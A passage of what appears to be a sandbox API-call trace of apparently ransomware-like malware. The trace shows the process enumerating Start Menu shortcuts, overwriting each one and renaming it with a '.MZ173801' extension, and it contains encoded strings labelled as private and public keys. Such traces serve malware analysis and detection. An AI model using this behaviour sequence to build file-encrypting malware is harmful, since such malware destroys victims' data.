lpNumberOfBytesWritten=0x19f758*=0x86e, lpOverlapped=0x0) returned 1 [0211.780] CloseHandle (hObject=0x328) returned 1 [0211.807] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Visio 2016.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\visio 2016.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Visio 2016.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\visio 2016.lnk.mz173801")) returned 1 [0211.857] GetCurrentThreadId () returned 0xab4 [0211.857] GetCurrentThreadId () returned 0xab4 [0211.857] GetCurrentThreadId () returned 0xab4 [0211.857] GetCurrentThreadId () returned 0xab4 [0211.857] GetCurrentThreadId () returned 0xab4 [0211.857] GetCurrentThreadId () returned 0xab4 [0211.857] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea725d67, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea725d67, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea725d67, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Windows 10 Update Assistant.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 1 [0211.857] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0211.857] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0211.857] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows 10 Update Assistant.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows 10 update assistant.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea725d67, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea725d67, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea725d67, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x2e1)) returned 1 [0212.053] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows 10 Update Assistant.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows 10 update assistant.lnk")) returned 0x20 [0212.053] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows 10 Update Assistant.lnk", dwFileAttributes=0x80) returned 1 [0212.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0212.056] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0212.057] GetCurrentThreadId () returned 0xab4 [0212.057] GetCurrentThreadId () returned 0xab4 [0212.057] GetCurrentThreadId () returned 0xab4 [0212.058] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0212.058] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0212.058] GetCurrentThreadId () returned 0xab4 [0212.058] GetCurrentThreadId () returned 0xab4 [0212.059] GetCurrentThreadId () returned 0xab4 [0212.059] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows 10 Update Assistant.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows 10 update assistant.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0212.059] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0212.059] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0212.059] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x2e1 [0212.059] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0212.059] ReadFile (in: hFile=0x328, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x2e1, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f74c*=0x2e1, lpOverlapped=0x0) returned 1 [0212.139] CloseHandle (hObject=0x328) returned 1 [0212.139] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows 10 Update Assistant.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows 10 update assistant.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0212.141] WriteFile (in: hFile=0x328, lpBuffer=0x24baed0*, nNumberOfBytesToWrite=0x2e1, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24baed0*, lpNumberOfBytesWritten=0x19f758*=0x2e1, lpOverlapped=0x0) returned 1 [0212.141] CloseHandle (hObject=0x328) returned 1 [0212.142] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows 10 Update Assistant.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows 10 update assistant.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows 10 Update Assistant.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows 10 update assistant.lnk.mz173801")) returned 1 [0212.142] GetCurrentThreadId () returned 0xab4 [0212.142] GetCurrentThreadId () returned 0xab4 [0212.142] GetCurrentThreadId () returned 0xab4 [0212.142] GetCurrentThreadId () returned 0xab4 [0212.143] GetCurrentThreadId () returned 0xab4 [0212.143] GetCurrentThreadId () returned 0xab4 [0212.143] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e664927, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6e664927, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6e664927, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x628, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Windows Media Player.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0212.143] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0212.143] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0212.143] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e664927, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x6e664927, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x6e664927, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x628)) returned 1 [0212.144] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\windows media player.lnk")) returned 0x20 [0212.144] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Windows Media Player.lnk", dwFileAttributes=0x80) returned 1 [0212.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw